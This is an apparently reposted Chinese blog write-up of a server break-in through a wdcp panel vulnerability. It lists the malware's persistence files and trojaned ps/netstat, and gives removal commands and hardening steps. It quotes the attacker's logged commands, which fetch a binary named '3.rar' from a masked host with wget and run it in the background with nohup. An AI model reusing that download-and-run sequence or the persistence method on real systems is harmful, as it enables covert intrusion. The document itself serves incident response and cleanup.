服务器让黑遇到的问题

利用wdcp漏洞入侵。

从日志来看，入侵是由工具自动化完成的。

 黑 客入侵后留下的命令记录如下：

cd /root

wget http://x.x.x.x./3.rar

chmod 0755 /root/3.rar

chmod 0755 ./3.rar

/dev/null 2>&1 &

nohup ./3.rar > /dev/null 2>&1 &

 

（3.rar MD5为：522a3b05908c40e37c08e8fb14171dfc）

 

下面主要写一下3.rar（注意这是个二进制程序，而非压缩包）执行后修改过的文件，给大家修复提供参考。

 创建文件：

/etc/rc.d/init.d/DbSecuritySdt

/etc/rc.d/rc1.d/S97DbSecuritySdt

/etc/rc.d/rc2.d/S97DbSecuritySdt

/etc/rc.d/rc3.d/S97DbSecuritySdt

/etc/rc.d/rc4.d/S97DbSecuritySdt

/etc/rc.d/rc5.d/S97DbSecuritySdt

上面的文件内容都一样，内容为：

#!/bin/bash

/root/3.rar

目的是让3.rar重启后自动运行。

创建文件：

/usr/bin/bsd-port/getty

文件内容和3.rar相同。

同目录下还有conf.n和getty.lock。

创建文件：

/usr/bin/acpid

文件内容和3.rar相同。

创建文件：

/etc/rc.d/init.d/selinux

/etc/rc.d/rc1.d/S99selinux

/etc/rc.d/rc2.d/S99selinux

/etc/rc.d/rc3.d/S99selinux

/etc/rc.d/rc4.d/S99selinux

/etc/rc.d/rc5.d/S99selinux

文件内容如下：

#!/bin/bash

/usr/bin/bsd-port/getty

目的还是让恶意程序在系统重启后自动行动。

创建目录：

/usr/bin/dpkgd/

目录下有二个程序：

netstat  ps

这个是系统中正常的程序，转移到这里做了备份。

替换掉了系统中的/bin/ps和/bin/netstat。

替换后的程序在执行后可以隐藏掉恶意程序的相关执行信息，并且加入了复活恶意程序的功能。

文件操作到此结束。

如果确定和本文描述的入侵情况完全相同，可以用下面的命令修复：

killall 3.rar getty acpid

rm -f /etc/rc.d/rc*.d/S97DbSecuritySdt

rm -f /etc/rc.d/init.d/DbSecuritySdt

rm -rf /usr/bin/bsd-port/

rm -f /usr/bin/acpid

rm -f /etc/init.d/selinux

rm -f /etc/rc.d/rc*.d/S99selinux

rm -f /bin/ps /bin/netstat

cp /usr/bin/dpkgd/ps /bin/

cp /usr/bin/dpkgd/netstat /bin/

这次的WDCP漏洞中，这个3.rar做的恶比较多，但它并不是唯一的做恶者（其他的人或者程序会留下其他的东西，不在上面的描述范围内）。

最早的入侵痕迹在10月初已经出现，3.rar出现的比较晚，但是出现的多，而且表面上造成的影响比较大（对外扫描肯定会导致机器被封，在国外某些主机商甚至会BAN帐号）。

  解决方法：

a.去除恶意文件的执行权限

chmod 000 /tmp/gates.lod   /tmp/moni.lod    service sendmail stop chkconfig --level 345 sendmail off chmod -x  /usr/sbin/sendmail chmod -R 000  /root/*rar* chattr -i /root/conf.n chmod -R 000 /root/conf.n* rm -rf  /usr/bin/lixww rm -rf  /usr/bin/bsd-port/getty rm -rf   /tmp/gates.lock rm -rf  /tmp/moni.lock rm -rf  /usr/bin/bsd-port/getty.lock rm -rf  /usr/bin/bsd-port/conf.n

/lib/lib3.so.1            delete file

/var/opt/lm/iisdate       delete上级目录

/usr/sbin/lsof            ok,reinstall

/usr/bin/bsd-port/getty   delete上级目录

/usr/bin/.sshd            delete .sshd*

/bin/ps                   ok,reinstall

/bin/netstat              ok,reinstall

/bin/.iptab4              delete file

 

强制重新安装以下软件包，覆盖被感染文件

 

 

 

net-tools-1.60-78.el5.i386.rpm

procps-3.2.7-11.1.el5.i386.rpm

lsof-4.78-3.i386.rpm

 

rpm -ivh rpm文件 --force --nodeps

升级openssl（openssl-1.0.1i）和openssh（openssh-6.6p1）到最新版本、

修改sshd端口、修改root密码为复杂字串、禁止root账号直接登录系统

 

通过网络交换机配置ACL禁止此服务器访问外网

 

以上修改完成后，重新启动系统

再次全系统扫描未发现病毒

​http://www.wdlinux.cn/bbs/viewthread.php?tid=37766

http://developer.51cto.com/art/201503/468440_all.htm

转载于:https://www.cnblogs.com/centos-python/articles/8521537.html